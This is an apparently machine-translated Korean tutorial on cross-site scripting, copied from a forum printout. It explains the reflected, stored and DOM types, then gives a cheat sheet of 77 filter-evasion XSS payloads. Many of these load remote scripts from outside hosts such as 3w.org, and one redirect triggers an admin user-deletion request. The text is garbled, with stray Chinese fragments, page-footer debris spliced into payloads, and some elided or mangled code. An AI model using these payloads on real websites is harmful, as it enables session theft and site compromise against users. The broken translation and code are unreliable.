1. XSS 란 무엇입니까?
XSS의 전체 이름은 사이트 간 스크립팅, 즉 사이트 간 스크립팅입니다. 대상 사용자의 대상 웹 사이트 브라우저가 HTML 문서를 렌더링하면 예기치 않은 스크립트 지침이 나타나고 실행될 때 XSS가 발생합니다.
여기에서 우리는 주로 4 가지 사항에주의를 기울입니다 : 1. 대상 웹 사이트의 대상 사용자; 2. 브라우저; 3. 예상치 못한; 4. 스크립트.
2. XSS의 위험은 무엇입니까?
우리가 XSS가 무엇인지 알면, 그 사용이 무엇인지, 그것이 어떤 해를 입히고 어떻게 방어하는지 알고 싶어 할 것입니다.
XSS와 관련된 위험에 대해서는 여기에 자세히 설명하지 않는 목록을 나열합니다.
- 트로이목마 설치.
- 사용자 쿠키를 훔치기.
- 클라이언트 브라우저에 DOS (서비스 거부)공격.
- 피싱 공격, 고급 피싱 기술.
- 데이터를 삭제하고 악의적으로 변조하여 책임을 회피.
- 사용자의 웹 방문을 가로 채고 조작하여 LAN 침투.
- Web2.0 웜이 발생.
- 웜형DDoS 공격.
- 웜형 트로이목마, 광고, 페이지 뷰 및 온라인 데이터 파괴.
- 기타 보안문제.
3. XSS 분류
XSS에는 반사 형 XSS (비 영구적), 스토리지 XSS (영구적) 및 DOM XSS의 세 가지 유형이 있습니다.
1. 반사 XSS
요청이 전송되면 XSS 코드가 URL에 나타나고 서버에 입력으로 제출됩니다 . 서버가 응답을 구문 분석 한 후 XSS 코드가 응답과 함께 브라우저로 다시 전달됩니다. 마지막으로 브라우저는 XSS 코드를 구문 분석하고 실행합니다. 이 프로세스는 리플렉션과 같으므로 리플렉션 XSS라고합니다.
간단한 예 :http://www.a.com/xss/reflect.php
코드는 다음과 같습니다.
<?phpecho $_GET['x'];?>
입력 x의 값이 출력이 어떤 필터링없이 직접 경우 제출 기능이 브라우저에서 트리거 할 것이다.http://www.foo.com/xss/reflect.php?x=<script>alert(1)</script>
alert()
2. 스토리지 XSS
스토리지 XSS와 반사 형 XSS의 차이점은 제출 된 코드가 서버 ( 데이터베이스 , 메모리, 파일 시스템 등)에 저장되고 다음에 대상 페이지를 요청할 때 XSS 코드를 제출할 필요가 없다는 것입니다.
가장 일반적인 예는 메시지 보드 XSS이며, 사용자는 XSS 코드가 포함 된 메시지를 제출하여 데이터베이스에 저장합니다. 대상 사용자가 메시지 보드를 볼 때 해당 메시지의 내용이 데이터베이스에서 쿼리되고 표시됩니다. 브라우저는 XSS 코드가 정상으로 간주됩니다 HTML과 J가 파싱되어 실행되어 XSS 공격이 시작되었습니다.
3. DOM XSS
DOM XSS, 리플 렉 티브 XSS 및 스토리지 XSS의 차이점은 DOM XSS 코드에 서버가 참여할 필요가 없다는 것입니다 .XSS 트리거링은 전적으로 클라이언트의 비즈니스 인 브라우저 측 DOM 구문 분석에 의존합니다.http://www.a.com/xss/domxss.html
아래와 같이 코드 쇼 :
<script>eval(location.hash.substr(1));</script>
트리거 모드는 다음과 같습니다.http://www.a.com/xss/domxss.html#alert(1)
이 URL # 이후의 컨텐츠는 서버로 전송되지 않고 클라이언트에서만 수신 및 실행됩니다.
일반적인 입력 포인트는 다음과 같습니다.
document.URLdocument.URLUnencodeddocument.locationdocument.referrerwindow.locationwindow.name
xhr은 반환 된 데이터를 요청합니다
document.cookie
양식 항목 값
일반적인 출력 포인트는 다음
과 같습니다.
document.write(...)document.writeln(...)document.body.innerHtml=...
다음과 같은 DOM 트리 (DHTML 포함)를 직접 수정하십시오.
document.forms[0].action...(以及其他集合,如:一些对象的src/href属性等)document.attachEvent(...)document.create...(...)document.execCommand(...)document.body. ...(直接通过body对象访问DOM)window.attachEvent(...)
다음과 같은 문서 URL을 바꾸십시오.
document.location=...(以及直接赋值给location的href,host,hostname属性)document.location.hostname=...document.location.replace(...)document.location.assign(...)document.URL=...window.navigate(...)
다음과 같은 새 창을 열거 나 수정하십시오.
document.open(...)window.open(...)window.location.href=...(以及直接赋值给location的href,host,hostname属性)直接执行脚本,如:eval(...)window.execScript(...)window.setInterval(...)window.setTimeout(...)
4.일반적인 XSS 공격 방법
1.일반적인 XSS JavaScript 주입
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
2.IMG 태그 XSS는 JavaScript 명령을 사용합니다.
<IMG SRC=http://3w.org/XSS/xss.js/>
3.세미콜론이없고 따옴표가없는 IMG 태그
<IMG SRC=javascript:alert('XSS')>
4.IMG 태그는 대소 문자를 구분하지 않습니다
<IMG SRC=JaVaScRiPt:alert('XSS')>
5.HTML 인코딩 (세미콜론이 있어야 함)
<IMG SRC=javascript:alert("XSS")>
6.결함 IMG 라벨 수정
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
7. formCharCode 레이블 (계산기)
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
8.UTF-8 유니 코드 인코딩 (계산기)
<IMG SRC=jav..생략..S')>
9. 7 비트 UTF-8 유니 코드 인코딩에는 세미콜론 (계산기)이 없습니다.
<IMG SRC=jav..생략..S')>
10. 16 진수 인코딩에도 세미콜론 (계산기)이 없습니다.
<IMG SRC=java..省略..XSS')>
11.임베디드 태그, 별도 Javascript
<IMG SRC="jav ascript:alert('XSS');">
12.임베디드 코딩 태그, 별도 Javascript
<IMG SRC="jav ascript:alert('XSS');">
13.포함 된 개행
<IMG SRC="jav ascript:alert('XSS');">
14.임베디드 캐리지 리턴
<IMG SRC="jav ascript:alert('XSS');">
15.JavaScript의 내장 된 여러 줄 주입, 이것은 XSS의 극단적 인 예입니다
<IMG SRC="javascript:alert('XSS')">
16.제한된 문자를 풉니 다 (같은 페이지 필요).
<script>z='document.'</script><script>z=z+'write("'</script><script>z=z+'<script'</script><script>z=z+' src=ht'</script><script>z=z+'tp://ww'</script><script>z=z+'w.shell'</script><script>z=z+'.net/1.'</script><script>z=z+'js></sc'</script><script>z=z+'ript>")'</script><script>eval_r(z)</script>
17.널 캐릭터 12-7-1 T00LS-Powered by Discuz!
https://www.a.com/viewthread.php?action=printable&tid=15267 2/6perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out
18.널 문자 2, 널 문자는 기본적으로 중국에서 영향을 미치지 않습니다. 사용할 장소가 없기 때문에
perl -e 'print "<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>";' > out
19.공백과 메타 앞의 IMG 태그
<IMG SRC=" javascript:alert('XSS');">
20.알파벳이 아닌 숫자가 아닌 XSS
<SCRIPT/XSS SRC="http://3w.org/XSS/xss.js"></SCRIPT>
21.영숫자가 아닌 XSS에서 2로
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
22.영숫자가 아닌 XSS-3
<SCRIPT/SRC="http://3w.org/XSS/xss.js"></SCRIPT>
23.더블 오픈 브래킷
<<SCRIPT>alert("XSS");//<</SCRIPT>
24.엔드 스크립트 태그 없음 (Firefox 및 기타 브라우저 만 해당)
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
25. 엔드 스크립트 태그 없음 2
<SCRIPT SRC=//3w.org/XSS/xss.js>
26. 하프 오픈 HTML / JavaScript XSS
<IMG SRC="javascript:alert('XSS')"
27. 이중 개방 앵글 브래킷
<iframe src=http://3w.org/XSS.html <
28.작은 따옴표, 큰 따옴표, 세미콜론 없음
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
29. 이스케이프 필터링 JavaScript
\";alert('XSS');//
30. 끝 제목 태그
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
31.입력 이미지
<INPUT SRC="javascript:alert('XSS');">
32. BODY 이미지
<BODY BACKGROUND="javascript:alert('XSS')">
33. BODY 태그
<BODY('XSS')>
34. IMG 다 인크
<IMG DYNSRC="javascript:alert('XSS')">
35. IMG 저음
<IMG LOWSRC="javascript:alert('XSS')">
36. BGSOUND
<BGSOUND SRC="javascript:alert('XSS');">
37. STYLE 시트
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
38. 리모트 스타일 시트
<LINK REL="stylesheet" HREF="http://3w.org/xss.css">
39.리스트 스타일 이미지 (리스트 스타일)
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS
40. IMG VBscript
<IMG SRC='vbscript:msgbox("XSS")'></STYLE><UL><LI>XSS
41. 메타 링크 URL
<META HTTP-EQUIV="refresh" CONTENT="0;URL=http://;URL=javascript:alert('XSS');">
42. 아이 프레임
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
43. 프레임
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>12-7-1 T00LS - Powered by Discuz! Boardhttps://www.a.com/viewthread.php?action=printable&tid=15267 3/6
44.표
<TABLE BACKGROUND="javascript:alert('XSS')">
45.TD
<TABLE><TD BACKGROUND="javascript:alert('XSS')">
46. DIV 배경 이미지
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
47. DIV 배경 이미지 뒤에 추가 문자 추가 (1-32 및 34 및 39 및 160 및 8192-8
및 13 및 12288 및 65279)
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
48. DIV 발현
<DIV STYLE="width: expression_r(alert('XSS'));">
49. STYLE 속성 분할 식
<IMG STYLE="xss:expression_r(alert('XSS'))">
50. 익명 스타일 (구성 : 쉼표 열기 및 문자로 시작)
<XSS STYLE="xss:expression_r(alert('XSS'))">
51. 스타일 배경 이미지
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><ACLASS=XSS></A>
52. IMG 스타일
exppression(alert("XSS"))'>
53. 스타일 배경
<STYLE><STYLEtype="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
54. 베이스
<BASE HREF="javascript:alert('XSS');//">
55. EMBED 태그, XSS가 포함 된 FLASH를 포함 할 수 있습니다
<EMBED SRC="http://3w.org/XSS/xss.swf" ></EMBED>
56. 플래시에서 ActionScrpt를 사용하여 XSS 코드에서 혼합
a="get";b="URL(\"";c="javascript:";d="alert('XSS');\")";eval_r(a+b+c+d);
57. XML namespace.HTC 파일은 XSS 캐리어와 동일한 서버에 있어야합니다
<HTML xmlns:xss><?import namespace="xss" implementation="http://3w.org/XSS/xss.htc"><xss:xss>XSS</xss:xss></HTML>
58. JS를 필터링하면 그림에 JS 코드를 추가하여 사용할 수 있습니다
<SCRIPT SRC=""></SCRIPT>
59. IMG 내장 명령, 모든 명령을 실행할 수 있습니다
<IMG SRC="http://www.a.com/a.php?a=b">
60. IMG 내장 명령 (같은 서버의 a.jpg)
Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser
61. 심볼 주변 필터링
<SCRIPT a=">" SRC="http://3w.org/xss.js"></SCRIPT>
62.
<SCRIPT =">" SRC="http://3w.org/xss.js"></SCRIPT>
63.
<SCRIPT a=">" " SRC="http://3w.org/xss.js"></SCRIPT>
64.
<SCRIPT "a='>'" SRC="http://3w.org/xss.js"></SCRIPT>
65.
<SCRIPT a=`>` SRC="http://3w.org/xss.js"></SCRIPT>
66. 12-7-1 T00LS-Powered by Discuz! 보드
https://www.a.com/viewthread.php?action=printable&tid=15267 4/6<SCRIPT a=">'>" SRC="http://3w.org/xss.js"></SCRIPT>
67.
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://3w.org/xss.js"></SCRIPT>
68. URL 우회
<A HREF="http://127.0.0.1/">XSS</A>
69. URL 인코딩
<A HREF="http://3w.org">XSS</A>
70. IP 십진수
<A HREF="http://3232235521″>XSS</A>
71. IP 헥스
<A HREF="http://0xc0.0xa8.0×00.0×01″>XSS</A>
72. IP 8 진
<A HREF="http://0300.0250.0000.0001″>XSS</A>
73. 하이브리드 코딩
<A HREF="http://6 6.000146.0×7.147/"">XSS</A>
74. 저장 [http :]
<A HREF="//www.google.com/">XSS</A>
75. 저장 [www]
<A HREF="http://google.com/">XSS</A>
76. 절대 점 절대 DNS
<A HREF="http://www.google.com./">XSS</A>
77. 자바 스크립트 링크
<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>